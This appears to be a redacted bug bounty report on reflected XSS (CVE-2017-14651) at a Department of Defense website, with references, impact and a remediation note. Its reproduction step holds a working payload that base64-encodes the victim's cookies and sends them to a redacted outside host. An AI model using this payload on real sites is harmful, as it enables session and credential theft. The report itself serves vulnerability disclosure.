U.S. Dept Of Defense: Reflected XSS at www.███████ at /██████████ via the ████████ parameter

Description:
The www.████████ site is using ████, which is vulnerable to reflected XSS in the /█████ component via the █████████ parameter.

References

https://www.cvedetails.com/cve/CVE-2017-14651/
https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2017-0265

Impact

An attacker can cause malicious code to execute in the victims browser, leading to credential theft, drive-by downloads, malicious redirects, and more.

System Host(s)

www.██████████

Affected Product(s) and Version(s)

████████

CVE Numbers

CVE-2017-14651

Steps to Reproduce

Browse to https://www.███████/███████?██████████=<img src=x onerror=“a=‘http%3A%2F%2F███’;b=‘%3Fcookie=’;c=btoa(document.cookie);window.open(a%2Bb%2Bc)”&gt;

Suggested Mitigation/Remediation Actions

Apply ███ (see references section)